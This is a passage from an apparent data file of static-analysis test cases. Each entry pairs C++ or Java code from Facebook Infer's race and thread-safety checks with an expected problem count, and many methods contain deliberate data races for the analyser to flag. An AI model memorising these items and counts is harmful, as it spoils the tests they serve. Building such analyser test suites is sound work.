std::unique_lock g(mutex_, std::defer_lock);\n g.lock();\n well_guarded2 = new_value;\n g.unlock();\n return 0;\n } else {\n std::unique_lock g(mutex_);\n return well_guarded2;\n }\n }\n\n int not_guarded1_ok(int b, int new_value) {\n if (b) {\n not_guarded1 = new_value;\n return 0;\n } else {\n return not_guarded1;\n }\n }\n\n int not_guarded2_ok(int b, int new_value) {\n if (b) {\n std::unique_lock g(mutex_);\n g.unlock();\n not_guarded2 = new_value;\n return 0;\n } else {\n std::unique_lock g(mutex_);\n g.unlock();\n return not_guarded2;\n }\n }\n\n int suspiciously_read1_bad(int b, int new_value) {\n if (b) {\n std::unique_lock g(mutex_);\n suspiciously_read1 = new_value;\n return 0;\n } else {\n return suspiciously_read1;\n }\n }\n\n int suspiciously_written_ok(int b, int new_value) {\n if (b) {\n suspiciously_written = new_value;\n return 0;\n } else {\n std::unique_lock g(mutex_);\n return suspiciously_written;\n }\n }\n\n int suspiciously_read2_trylock_bad(int b, int new_value) {\n if (b) {\n std::unique_lock g(mutex_);\n suspiciously_read2 = new_value;\n return 0;\n } else {\n std::unique_lock lock(mutex_, std::try_to_lock);\n if (lock.owns_lock()) {\n return 0;\n } else {\n return suspiciously_read2;\n }\n }\n }\n\n int suspiciously_read3_deferlock_bad(int b, int new_value) {\n if (b) {\n std::unique_lock g(mutex_);\n suspiciously_read3 = new_value;\n return 0;\n } else {\n std::unique_lock lock(mutex_, std::defer_lock);\n if (lock.try_lock()) {\n return 0;\n } else {\n return suspiciously_read3;\n }\n }\n }\n\n private:\n int well_guarded1;\n int well_guarded2;\n int suspiciously_read1;\n int suspiciously_read2;\n int suspiciously_read3;\n int suspiciously_written;\n int not_guarded1;\n int not_guarded2;\n std::mutex mutex_;\n};\n} // namespace basics\n" + }, + { + "testname": "without_mutex.cpp", + "testlanguage": "c++", + "expected-problems": 7, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n#include \n\nnamespace without_mutex {\n\nclass WithoutMutex {\n public:\n WithoutMutex() {}\n\n int get_bad() { return field; }\n\n int set_bad(std::mutex& mutex, int data) {\n std::lock_guard lock(mutex);\n field = data;\n }\n\n private:\n int field;\n};\n} // namespace without_mutex\n" + }, + { + "testname": "AbstractOwnership.java", + "testlanguage": "java", + "expected-problems": 13, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\npackage codetoanalyze.java.checkers;\n\nimport com.facebook.infer.annotation.ReturnsOwnership;\nimport javax.annotation.concurrent.ThreadSafe;\n\n// no races should be reported here\n// abstract getThis should get a default summary returning conditional ownership\n\n@ThreadSafe\nabstract class Component {\n abstract static class Builder> {\n abstract T getThis();\n\n private int i;\n\n public T set(int i) {\n this.i = i;\n return getThis();\n }\n\n public T background() {\n return getThis();\n }\n\n @ReturnsOwnership\n abstract Component build();\n }\n}\n\n@ThreadSafe\nclass Column extends Component {\n static Component onCreateLayoutOk() {\n Component.Builder builder = ColumnBuilder.create().background();\n return builder.set(0).build();\n }\n\n static class ColumnBuilder extends Component.Builder {\n static ColumnBuilder create() {\n return new ColumnBuilder();\n }\n\n @Override\n ColumnBuilder getThis() {\n return this;\n }\n\n @Override\n Column build() {\n return new Column();\n }\n }\n}\n" + }, + { + "testname": "Alias.java", + "testlanguage": "java", + "expected-problems": 9, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\nimport javax.annotation.concurrent.ThreadSafe;\n\n@ThreadSafe\nclass Alias {\n A a, b;\n\n public void foo() {\n int x;\n synchronized (this) {\n a = b;\n a.f = 101;\n }\n x = b.f; // may_alias\n }\n\n public void bar(A a, A b) {\n int x;\n synchronized (this) {\n a.f = 101;\n }\n x = b.f; // no may_alias needed, argument treatment suffices\n }\n}\n\nclass A {\n int f = 0;\n}\n" + }, + { + "testname": "AndroidModels.java", + "testlanguage": "java", + "expected-problems": 19, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\npackage codetoanalyze.java.checkers;\n\nimport android.app.Activity;\nimport android.content.Context;\nimport android.content.res.AssetManager;\nimport android.content.res.Configuration;\nimport android.content.res.Resources;\nimport android.os.IBinder;\nimport android.os.IInterface;\nimport android.util.DisplayMetrics;\nimport android.view.View;\nimport javax.annotation.concurrent.ThreadSafe;\n\n// aidl generated classes implementing this interface are automatically threadsafe\ninterface AidlInterface extends IInterface {}\n\nclass MyActivity extends Activity {}\n\nclass MyResources extends Resources {\n\n public MyResources(AssetManager assets, DisplayMetrics metrics, Configuration config) {\n super(assets, metrics, config);\n }\n}\n\nclass MyView extends View {\n\n boolean mField;\n\n public MyView(Context c) {\n super(c);\n }\n}\n\n@ThreadSafe\npublic class AndroidModels {\n\n Resources mResources;\n MyResources mMyResources;\n\n Object mField;\n\n // assume that some Resources methods are annotated with @Functional\n public void resourceMethodFunctionalOk() {\n mField = mResources.getString(0);\n }\n\n // and subclasses of Resources too\n public void customResourceMethodFunctionalOk() {\n mField = mResources.getString(0);\n }\n\n // but not all of them\n public void someResourceMethodsNotFunctionalBad() {\n // configuration can change whenever the device rotates\n mField = mResources.getConfiguration();\n }\n\n public void findViewByIdOk1(MyView view) {\n MyView subview = (MyView) view.findViewById(-1);\n subview.mField = true; // ok;\n }\n\n public void findViewByIdOk2(MyActivity activity) {\n MyView view = (MyView) activity.findViewById(-1);\n view.mField = true; // ok;\n }\n\n public IBinder safeByDefaultInterfaceCallOk(AidlInterface i) {\n return i.asBinder();\n }\n}\n" + }, + { + "testname": "Annotations.java", + "testlanguage": "java", + "expected-problems": 124, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\npackage codetoanalyze.java.checkers;\n\nimport android.support.annotation.UiThread;\nimport com.facebook.infer.annotation.Functional;\nimport com.facebook.infer.annotation.Initializer;\nimport com.facebook.infer.annotation.ReturnsOwnership;\nimport com.facebook.infer.annotation.SynchronizedCollection;\nimport com.facebook.infer.annotation.ThreadConfined;\nimport com.facebook.infer.annotation.ThreadSafe;\nimport java.lang.annotation.ElementType;\nimport java.lang.annotation.Retention;\nimport java.lang.annotation.RetentionPolicy;\nimport java.lang.annotation.Target;\nimport java.util.Collections;\nimport java.util.HashMap;\nimport java.util.Map;\n\n/** tests for classes and method annotations that are meaningful w.r.t thread-safety */\n@Target(ElementType.METHOD)\n@Retention(RetentionPolicy.CLASS)\n@interface OnBind {}\n\n@Target(ElementType.METHOD)\n@Retention(RetentionPolicy.CLASS)\n@interface OnEvent {}\n\n@Target(ElementType.METHOD)\n@Retention(RetentionPolicy.CLASS)\n@interface OnMount {}\n\n@Target(ElementType.METHOD)\n@Retention(RetentionPolicy.CLASS)\n@interface OnUnbind {}\n\n@Target(ElementType.METHOD)\n@Retention(RetentionPolicy.CLASS)\n@interface OnUnmount {}\n\n@Target(ElementType.METHOD)\n@Retention(RetentionPolicy.CLASS)\n@interface MyThreadSafeAlias1 {}\n\n@Target(ElementType.METHOD)\n@Retention(RetentionPolicy.CLASS)\n@interface MyThreadSafeAlias2 {}\n\n@Target(ElementType.PARAMETER)\n@Retention(RetentionPolicy.CLASS)\n@interface InjectProp {}\n\ninterface Interface {\n\n @Functional\n Object functionalMethod();\n\n @ReturnsOwnership\n Obj returnsOwnershipMethod();\n}\n\n@ThreadSafe(enableChecks = false)\nclass AssumedThreadSafe {\n\n Object field;\n\n public void writeOk() {\n this.field = new Object();\n }\n}\n\n// this annotation is defined as an alias for @ThreadSafe in .inferconfig\nclass ThreadSafeAlias {\n Object field;\n\n @MyThreadSafeAlias1\n void threadSafeAliasBad1() {\n this.field = new Object();\n }\n\n @MyThreadSafeAlias2\n void threadSafeAliasBad2() {\n this.field = new Object();\n }\n}\n\n@ThreadSafe\nclass Annotations implements Interface {\n Object f;\n boolean b;\n\n @UiThread\n public void setF(Object newF) {\n this.f = newF; // shouldn't report here\n }\n\n public void callSetFOnMethodOk(Annotations obj) {\n obj.setF(new Object()); // or here\n }\n\n public void mutateOffUiThreadBad() {\n this.f = new Object();\n }\n\n // anything annotated with OnEvent is modeled as running on the UI thread, should not warn\n @OnEvent\n public void onClick() {\n this.f = new Object();\n }\n\n Confined con;\n\n public void confinedCallerOk() {\n con.foo();\n }\n\n public void writeFieldOfConfinedClassOk() {\n con.x = 7;\n }\n\n @ThreadConfined(ThreadConfined.UI)\n class Confined {\n Integer x;\n\n void foo() {\n x = 22;\n }\n }\n\n @ThreadConfined(ThreadConfined.ANY)\n Obj encapsulatedField;\n\n public void mutateConfinedFieldDirectlyOk() {\n this.encapsulatedField = new Obj();\n }\n\n public static void mutateConfinedFieldIndirectlyOk(Annotations a) {\n a.encapsulatedField = new Obj();\n }\n\n public void mutateSubfieldOfConfinedBad() {\n this.encapsulatedField.f = new Object();\n }\n\n Integer zz;\n\n @ThreadConfined(\"some_custom_string\")\n public void threadConfinedMethodOk() {\n this.f = new Object();\n zz = 22;\n }\n\n public void read_from_non_confined_method_Bad() {\n Integer i;\n i = zz;\n }\n\n /* Like in RaceWithMainThread.java with assertMainThread() */\n void conditional1_ok(boolean b) {\n if (b) {\n write_on_main_thread_ok();\n }\n }\n\n Integer ii;\n\n @ThreadConfined(ThreadConfined.UI)\n void write_on_main_thread_ok() {\n ii = 22;\n }\n\n void conditional2_bad(boolean b) {\n if (b) {\n write_on_main_thread_ok();\n } else {\n ii = 99; // this might or might not run on the main thread; warn\n }\n }\n\n @OnBind\n public void onBindMethodOk() {\n this.f = new Object();\n }\n\n public void read_off_UI_thread_Bad() {\n Object o = f;\n }\n\n @OnMount\n public void onMountMethodOk() {\n this.f = new Object();\n }\n\n @OnUnmount\n public void onUnmountMethodOk() {\n this.f = new Object();\n }\n\n @OnUnbind\n public void onUnbindMethodOk() {\n this.f = new Object();\n }\n\n @ThreadSafe(enableChecks = false)\n public void assumeThreadSafeOk() {\n this.f = new Object();\n }\n\n @Functional\n native Object returnFunctional1();\n\n @Functional\n Object returnFunctional2() {\n return null;\n }\n // marked @Functional in interface\n @Override\n public Object functionalMethod() {\n return null;\n }\n\n Object mAssignToFunctional;\n\n public Object functionalOk1() {\n if (mAssignToFunctional == null) {\n mAssignToFunctional = returnFunctional1();\n }\n return mAssignToFunctional;\n }\n\n public Object functionalOk2() {\n if (mAssignToFunctional == null) {\n mAssignToFunctional = returnFunctional2();\n }\n return mAssignToFunctional;\n }\n\n public Object functionalOk3() {\n if (mAssignToFunctional == null) {\n mAssignToFunctional = functionalMethod();\n }\n return mAssignToFunctional;\n }\n\n @Functional\n native double returnDouble();\n\n @Functional\n native long returnLong();\n\n double mDouble;\n long mLong;\n\n int mInt1;\n int mInt2;\n\n public int functionalAcrossUnboxingAndCast1Ok() {\n if (b) {\n mInt1 = (int) returnDouble();\n }\n return 0;\n }\n\n public int functionalAcrossUnboxingAndCast2Ok() {\n if (b) {\n mInt2 = (int) returnLong();\n }\n return 0;\n }\n\n // writes to doubles are not atomic on all platforms, so this is not a benign race\n public double functionalDoubleBad() {\n if (b) {\n mDouble = returnDouble();\n }\n return 0.0;\n }\n\n // writes to longs are not atomic on all platforms, so this is not a benign race\n public long functionaLongBad() {\n if (b) {\n mLong = returnLong();\n }\n return 2;\n }\n\n Boolean mBoxedBool;\n\n @Functional\n native boolean returnBool();\n\n public boolean functionalAcrossBoxingOk() {\n if (b) {\n mBoxedBool = returnBool();\n }\n return b;\n }\n\n boolean mBool;\n\n @Functional\n native Boolean returnBoxedBool();\n\n boolean mBool2;\n\n public boolean FP_functionalAcrossUnboxingOk() {\n if (b) {\n mBool2 = returnBoxedBool();\n }\n return b;\n }\n\n Long mBoxedLong;\n\n @Functional\n native Long returnBoxedLong();\n\n public int functionalBoxedLongOk() {\n if (b) {\n mBoxedLong = returnBoxedLong();\n }\n return 22;\n }\n\n long mLong2;\n\n public int functionalAcrossUnboxingLongBad() {\n if (b) {\n mLong2 = returnBoxedLong();\n }\n return 2;\n }\n\n long mBoxedLong2;\n\n public int FP_functionalAcrossBoxingLongOk() {\n if (b) {\n mBoxedLong2 = returnLong();\n }\n return 2;\n }\n\n public boolean propagateFunctional() {\n return returnBool();\n }\n\n // show that we can handle indirect returns of procedures marked @Functional\n public void propagateFunctionalOk() {\n boolean returnedFunctional = propagateFunctional();\n mBool = returnedFunctional;\n }\n\n @Functional\n native int returnInt();\n\n int mInt;\n\n public void functionalAcrossLogicalOpsOk() {\n boolean functionalBool = returnBool();\n int functionalInt = returnInt();\n boolean propagated = functionalBool && true || 2 < returnInt() && 3 == functionalInt;\n mBool = propagated;\n }\n\n public void functionalAcrossArithmeticOpsOk() {\n int functional = returnInt();\n int propagated = functional + 1 - returnInt() * 7 % 2;\n mInt = functional;\n }\n\n native int returnNonFunctionalInt();\n\n public void functionalAndNonfunctionalBad() {\n mInt = returnNonFunctionalInt() + returnInt();\n }\n\n @ReturnsOwnership\n native Obj returnsOwned();\n\n @Override\n public native Obj returnsOwnershipMethod(); // marked @ReturnsOwnership in interface\n\n void mutateAnnotatedOwnedOk() {\n Obj owned = returnsOwned();\n owned.f = new Object();\n }\n\n void mutateAnnotatedOverrideOwnedOk() {\n Obj owned = returnsOwnershipMethod();\n owned.f = new Object();\n }\n\n public void writeToAssumedThreadSafeClassOk(AssumedThreadSafe c) {\n c.writeOk();\n }\n\n @SynchronizedCollection\n private final Map mSynchronizedMap = Collections.synchronizedMap(new HashMap());\n\n public void synchronizedMapOk1() {\n mSynchronizedMap.put(new Object(), new Object());\n }\n\n public void synchronizedMapOk2(Annotations a) {\n a.mSynchronizedMap.put(new Object(), new Object());\n }\n\n public void injectPropOk(@InjectProp Obj o) {\n o.f = 7;\n }\n\n Object onlyUpdatedInInitializer;\n\n @Initializer\n public void setOnlyUpdatedInInitializerOk(Object o) {\n onlyUpdatedInInitializer = o;\n }\n\n public synchronized Object getOnlyUpdatedInInitializerOk() {\n return onlyUpdatedInInitializer;\n }\n}\n\n@UiThread\n@ThreadSafe\nclass AllMethodsOnUiThread {\n int f;\n\n void fooOk() {\n f = 5;\n }\n\n int bar() {\n return f;\n }\n}\n\nclass ExtendsClassOnUiThread extends AllMethodsOnUiThread {\n @Override\n void fooOk() {\n f = 9;\n }\n\n @Override\n int bar() {\n return super.bar();\n }\n}\n\n// NOT All annotations that start with \"On\" are on the main thread\n@Target(ElementType.METHOD)\n@Retention(RetentionPolicy.CLASS)\n@interface OnXYZ {}\n\n@ThreadSafe\nclass WeirdAnnotation {\n int f;\n\n @OnXYZ\n void fooBad() {\n f = 0;\n }\n}\n" + }, + { + "testname": "Arrays.java", + "testlanguage": "java", + "expected-problems": 15, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\nimport javax.annotation.concurrent.ThreadSafe;\n\n// Test may_alias treatment of arrays\n// two arrays of types in a subtype relation may alias, and race\n\n@ThreadSafe\nclass Parent {}\n\n@ThreadSafe\nclass Child extends Parent {}\n\n@ThreadSafe\nclass Arrays {\n Child[] childArr = new Child[5];\n Parent[] parentArr = childArr; // actual aliasing not required, but for documentation\n final String[] strArr1 = new String[5];\n final String[] strArr2 = new String[5];\n\n void arrayParameterWriteBad(int[] name1) {\n name1[2] = 4;\n }\n\n // although name1 and name2 may alias, we have no reason to think that they will. don't report\n int FN_arrayParameterReadBad(int[] name2) {\n return name2[2];\n }\n\n int arrayParameterLiteralReadOk() {\n return (new int[] {2, 3})[1];\n }\n\n public void writeWriteRaceBad(String s) {\n strArr1[2] = s;\n }\n\n // same array\n public String readWriteRaceBad(String s) {\n synchronized (this) {\n strArr1[2] = s;\n }\n return strArr1[2];\n }\n\n // arrays are same type, but can't alias\n public String notReadWriteRace1Ok(String s) {\n synchronized (this) {\n strArr1[0] = s;\n }\n return strArr2[0];\n }\n\n // arrays are compatible types and can alias\n public Child FN_readWriteAliasRaceBad() {\n synchronized (this) {\n parentArr[3] = null;\n }\n return childArr[3];\n }\n\n String[] type1Arr[];\n Parent[] type2Arr;\n\n // arrays are different types and thus cannot alias\n public Parent noRaceOk() {\n synchronized (this) {\n type1Arr[3] = null;\n }\n\n return type2Arr[3];\n }\n}\n" + }, + { + "testname": "Builders.java", + "testlanguage": "java", + "expected-problems": 31, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\npackage codetoanalyze.java.checkers;\n\nimport com.facebook.infer.annotation.ThreadSafe;\nimport com.google.common.collect.ImmutableList;\nimport com.google.common.collect.ImmutableList.Builder;\n\npublic class Builders {\n\n static class Obj {\n final String f;\n String g;\n\n public Obj(String f, String g) {\n this.f = f;\n this.g = g;\n }\n\n public static class Builder {\n String f;\n String g;\n\n public Builder setFromObj(Obj input) {\n this.f = input.f;\n this.g = input.g;\n return this;\n }\n\n public Obj build() {\n return new Obj(f, g);\n }\n\n public Builder setF(String f) {\n this.f = f;\n return this;\n }\n\n public Builder setG(String g) {\n this.g = g;\n return this;\n }\n }\n }\n\n @ThreadSafe\n public void guavaBuilderOk() {\n ImmutableList.Builder builder = new ImmutableList.Builder();\n builder.add(\"foo\");\n builder.build();\n }\n\n @ThreadSafe\n public Obj customBuilderOk1() {\n Obj.Builder builder = new Obj.Builder();\n builder.setF(\"f\");\n builder.setG(\"g\");\n return builder.build();\n }\n\n @ThreadSafe\n public Obj customBuilderOk2() {\n Obj.Builder builder = new Obj.Builder();\n return builder.setF(\"f\").setG(\"g\").build();\n }\n\n @ThreadSafe\n public Obj customBuilderOk3() {\n Obj obj = new Obj(\"a\", \"b\");\n Obj.Builder builder = new Obj.Builder();\n return builder.setFromObj(obj).build();\n }\n\n @ThreadSafe\n public Obj mutateBad(Obj o) {\n o.g = \"\";\n return o;\n }\n\n @ThreadSafe\n public Obj buildThenMutateBad(Obj input) {\n Obj.Builder builder = new Obj.Builder();\n Obj output = builder.setFromObj(input).build();\n input.g = \"\";\n return output;\n }\n}\n\n@ThreadSafe\nclass TopLevelBuilder {\n public String g;\n\n public void setG(String g) {\n this.g = g; // still want to warn if the builder is annotated ThreadSafe\n }\n}\n\nclass MyBuilder {\n Obj mObj;\n\n public static MyBuilder create() {\n return new MyBuilder();\n }\n\n public MyBuilder setNestedPath(int i) {\n this.mObj.f = i;\n return this;\n }\n\n @ThreadSafe\n static void setNestedPathOk(int i) {\n MyBuilder.create().setNestedPath(1);\n }\n}\n" + }, + { + "testname": "Constructors.java", + "testlanguage": "java", + "expected-problems": 27, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nimport javax.annotation.concurrent.ThreadSafe;\n\n@ThreadSafe\npublic class Constructors {\n int field;\n static Object staticField;\n\n public Constructors(int i) {\n field = i; // ok\n }\n\n public Constructors() {\n staticField = new Object(); // not ok;\n }\n\n private Constructors(Object o) {\n staticField = o; // ok because this is private\n }\n\n public Constructors(Constructors o) {\n o.field = 42; // not ok\n }\n\n public Constructors(String s) {\n calledFromConstructorOk(); // ok\n }\n\n private void calledFromConstructorOk() {\n this.field = 7;\n }\n\n public static synchronized Constructors singleton1Ok() {\n // ok because lock is held during write to static field in constructor\n return new Constructors(new Object());\n }\n\n private static Constructors sSingleton1;\n\n public static Constructors FP_singleton2Ok() {\n synchronized (Constructors.class) {\n if (sSingleton1 != null) {\n sSingleton1 = new Constructors(0);\n }\n }\n return sSingleton1; // not currently smart enough to understand that this read is ok\n }\n\n public static Constructors singleton1Bad() {\n // not ok because no lock is held\n return new Constructors(new Object());\n }\n\n private static Constructors sSingleton2;\n\n public static Constructors singleton2Bad() {\n if (sSingleton2 == null) {\n sSingleton2 = new Constructors(0);\n }\n return sSingleton2;\n }\n}\n" + }, + { + "testname": "Containers.java", + "testlanguage": "java", + "expected-problems": 90, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\npackage codetoanalyze.java.checkers;\n\nimport android.support.v4.util.Pools;\nimport android.support.v4.util.Pools.SimplePool;\nimport android.support.v4.util.Pools.SynchronizedPool;\nimport android.support.v4.util.SimpleArrayMap;\nimport android.support.v4.util.SparseArrayCompat;\nimport android.util.SparseArray;\nimport com.google.common.collect.Sets;\nimport java.security.InvalidKeyException;\nimport java.security.Key;\nimport java.util.ArrayList;\nimport java.util.Collection;\nimport java.util.Collections;\nimport java.util.HashMap;\nimport java.util.Hashtable;\nimport java.util.List;\nimport java.util.Map;\nimport java.util.Set;\nimport java.util.concurrent.ConcurrentHashMap;\nimport java.util.concurrent.ConcurrentLinkedDeque;\nimport java.util.concurrent.ConcurrentMap;\nimport java.util.concurrent.ConcurrentSkipListSet;\nimport java.util.concurrent.CopyOnWriteArrayList;\nimport javax.annotation.concurrent.ThreadSafe;\nimport javax.crypto.Mac;\n\nclass ContainerWrapper {\n private final List children = new ArrayList();\n\n public Object write(Object v) {\n return _write(v);\n }\n\n private Object _write(Object node) {\n children.add(node);\n return this;\n }\n}\n\n@ThreadSafe\nclass Containers {\n\n List mList;\n Map mMap;\n\n // lists\n void listAddBad1(String s) {\n mList.add(s);\n }\n\n void listAddBad2(int index, String s) {\n mList.add(index, s);\n }\n\n void listAddAllBad(Collection c) {\n mList.addAll(c);\n }\n\n void listClearBad() {\n mList.clear();\n }\n\n void listRemoveBad1(int index) {\n mList.remove(index);\n }\n\n void listRemoveBad2(String s) {\n mList.remove(s);\n }\n\n void listRemoveAllBad(Collection c) {\n mList.removeAll(c);\n }\n\n void listSetBad(int index, String s) {\n mList.set(index, s);\n }\n\n void listSubclassWriteBad(ArrayList list, int index) {\n list.remove(index);\n }\n\n List mListNobodyWrites;\n\n void listReadOk(int index, String s) {\n mListNobodyWrites.contains(s);\n mListNobodyWrites.get(index);\n mListNobodyWrites.isEmpty();\n mListNobodyWrites.size();\n }\n\n List mListSyncWrites;\n\n synchronized void listSyncAddBad(String s) {\n mListSyncWrites.add(s);\n }\n\n boolean listReadBad(String s) {\n return mListSyncWrites.contains(s);\n }\n\n void accessSafeListOk(CopyOnWriteArrayList list, int index) {\n list.remove(index);\n }\n\n // maps\n void mapPutBad(String key, String value) {\n mMap.put(key, value);\n }\n\n void mapRemoveBad(String key) {\n mMap.remove(key);\n }\n\n void mapClearBad() {\n mMap.clear();\n }\n\n void mapPutAllBad(Map otherMap) {\n mMap.putAll(otherMap);\n }\n\n Map mMapNobodyWrites;\n\n void mapReadsOk(String s) {\n mMapNobodyWrites.containsKey(s);\n mMapNobodyWrites.containsValue(s);\n mMapNobodyWrites.entrySet();\n mMapNobodyWrites.hashCode();\n mMapNobodyWrites.isEmpty();\n mMapNobodyWrites.keySet();\n mMapNobodyWrites.size();\n mMapNobodyWrites.values();\n }\n\n // make sure we still warn on subtypes of Map\n void mapSubclassWriteBad(HashMap m, String key) {\n m.remove(key);\n }\n\n synchronized void synchronizedWriteOk1(String key) {\n mMap.remove(key);\n }\n\n void synchronizedWriteOk2(String key, String lock) {\n synchronized (lock) {\n mMap.remove(key);\n }\n }\n\n void accessToSychronizedMapsOk(\n String key,\n ConcurrentMap concurrentMap,\n ConcurrentHashMap concurrentHashMap) {\n\n concurrentMap.remove(key);\n concurrentHashMap.remove(key);\n }\n\n public void containerWrapperOwnedWriteOk(Object o) {\n ContainerWrapper wrapper = new ContainerWrapper();\n wrapper.write(o);\n }\n\n ContainerWrapper mContainerWrapper;\n\n public void containerWrapperUnownedWriteBad(Object o) {\n mContainerWrapper.write(o);\n }\n\n static SynchronizedPool sPool;\n\n void poolAcquireOk() {\n Obj obj = sPool.acquire();\n obj.f = new Object();\n }\n\n void poolAcquireThenNullCheckOk() {\n Obj obj = sPool.acquire();\n if (obj == null) {\n obj = new Obj();\n }\n obj.f = new Object();\n }\n\n static boolean sUsePooling;\n\n private Obj poolWrapper1() {\n Obj obj = sUsePooling ? sPool.acquire() : null;\n if (obj == null) {\n obj = new Obj();\n }\n\n return obj;\n }\n\n void poolWrapperOk1() {\n Obj obj = poolWrapper1();\n obj.f = new Object();\n }\n\n private Pools.Pool mPool;\n private boolean mIsSync;\n\n private Obj poolWrapper2() {\n Obj item;\n if (mIsSync) {\n synchronized (this) {\n item = mPool.acquire();\n }\n } else {\n item = mPool.acquire();\n }\n return item;\n }\n\n void poolWrapperOk2() {\n Obj obj = poolWrapper2();\n obj.f = new Object();\n }\n\n // need to understand semantics of release to get this one\n void FN_poolReleaseThenWriteBad() {\n Obj obj = sPool.acquire();\n sPool.release(obj);\n obj.f = new Object(); // should flag\n }\n\n void release(Obj o) {\n sPool.release(o);\n }\n\n // we won't catch this without a fancier ownership domain\n void FN_poolReleaseThenWriteInterprocBad() {\n Obj obj = sPool.acquire();\n release(obj);\n obj.f = new Object(); // should flag\n }\n\n private static List addOrCreateList(List list) {\n if (list == null) {\n list = new ArrayList<>();\n }\n // we get list |-> ({ OwnedIf (0) } |_| { Owned }) here, which simplifies to list |-> {} due\n // to limitations in AttributeMapDomain (join is just simple intersection)\n list.add(new Object());\n return list;\n }\n\n public void addToNullListOk() {\n List list = null;\n addOrCreateList(list);\n }\n\n void addToSparseArrayCompatOk() {\n SparseArrayCompat sparseArray = new SparseArrayCompat();\n sparseArray.put(0, new Object());\n }\n\n public void addToSparseArrayCompatBad(SparseArrayCompat sparseArray) {\n sparseArray.put(0, new Object());\n }\n\n public void addToSparseArrayOk() {\n SparseArray sparseArray = new SparseArray();\n sparseArray.put(0, new Object());\n }\n\n public void addToSparseArrayBad(SparseArray sparseArray) {\n sparseArray.put(0, new Object());\n }\n\n SimpleArrayMap si_map = new SimpleArrayMap();\n\n public synchronized void addToSimpleArrayMapOk() {\n si_map.put(1, 1);\n }\n\n public void addToSimpleArrayMapBad(SimpleArrayMap map) {\n map.put(1, 1);\n }\n\n // this should be a read/write race with addToSimpleArrayMapOk\n public int readSimpleArrayMap() {\n return si_map.get(1);\n }\n\n SimplePool simplePool = new SimplePool(10);\n\n public synchronized Integer getFromPoolOK() {\n return simplePool.acquire();\n }\n\n public void poolBad() {\n Integer a;\n synchronized (this) {\n a = simplePool.acquire();\n }\n simplePool.release(a);\n }\n\n Map mAliasedMap;\n\n // won't report here because the read happens through an alias\n public String FN_AliasedMapBad() {\n synchronized (this) {\n mAliasedMap.put(\"a\", \"b\");\n }\n Map alias = mAliasedMap;\n return alias.get(\"a\");\n }\n\n Map mConcurrentMap = new ConcurrentHashMap();\n\n void dynamicallyTypedConcurrentMapPutOk(String key, String value) {\n mConcurrentMap.put(key, value);\n }\n\n List mSomeList = new ArrayList();\n\n void addToUnsynchronizedListBad(String value) {\n mSomeList.add(value);\n }\n\n List mSomeOtherList = new ArrayList();\n\n int getListSizeBad() {\n return mSomeOtherList.size();\n }\n\n synchronized void raceWithSizeBad(String value) {\n mSomeOtherList.remove(value);\n }\n\n Map mSomeMap = new HashMap();\n\n int getMapSizeBad() {\n return mSomeMap.size();\n }\n\n synchronized void raceWithMapSizeBad(String value) {\n mSomeMap.remove(value);\n }\n\n Map mSomeOtherMap = new Hashtable();\n\n void writeToHashtableOk(String value) {\n mSomeOtherMap.remove(value);\n }\n\n Set mConcurrentSet = new ConcurrentSkipListSet();\n\n void dynamicallyTypedConcurrentSetAddOk(String value) {\n mConcurrentSet.add(value);\n }\n\n List mWrappedList = Collections.synchronizedList(new ArrayList());\n\n void wrappedListAddOk(String value) {\n mWrappedList.add(value);\n }\n\n Set mGoogleSynchronizedSet = Sets.newConcurrentHashSet();\n\n void googleSynchronizedSetAddOk(String value) {\n mGoogleSynchronizedSet.add(value);\n }\n\n Mac mac = null;\n\n void raceOnMacInitBad(Key key) throws InvalidKeyException {\n mac.init(key);\n }\n\n void raceOnMacUpdateBad(byte[] bytes) {\n mac.update(bytes);\n }\n\n byte[] raceOnMacDoFinalBad() {\n return mac.doFinal();\n }\n\n static Set staticSyncSet = new ConcurrentSkipListSet();\n\n static void staticAddToSyncIntegerSetOk(int s) {\n staticSyncSet.add(s);\n }\n\n ConcurrentLinkedDeque deque;\n\n void addToDequeOk(Object o) {\n deque.add(o);\n }\n\n Object popDequeOk() {\n return deque.pop();\n }\n}\n" + }, + { + "testname": "DeepOwnership.java", + "testlanguage": "java", + "expected-problems": 12, + "code": "/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n */\n\nimport com.facebook.infer.annotation.ThreadSafe;\n\n@ThreadSafe\nclass DeepOwnership {\n DeepOwnership next;\n static DeepOwnership global;\n\n void globalNotOwnedBad() {\n global.next = null;\n }\n\n void FN_reassignBaseToGlobalBad() {\n DeepOwnership x = new DeepOwnership();\n x = global;\n x.next = null;\n }\n\n void FN_reassignPathToGlobalBad() {\n DeepOwnership x = new DeepOwnership();\n x.next = global;\n x.next.next = null;\n }\n\n void deepIntraOk() {\n DeepOwnership x = new DeepOwnership();\n x.next.next = null; // doesn't warn here\n }\n\n void deepInterOk() {\n DeepOwnership x = new DeepOwnership();\n deepPrivate(x.next);\n }\n\n private void deepPrivate(DeepOwnership y) {\n y.next = null;\n }\n\n DeepOwnership deepFromOwnedThisOk() {\n return new DeepOwnership();\n }\n\n DeepOwnership arr[];\n\n DeepOwnership() {\n next.next = null;\n arr[0] = null;\n }\n\n private void 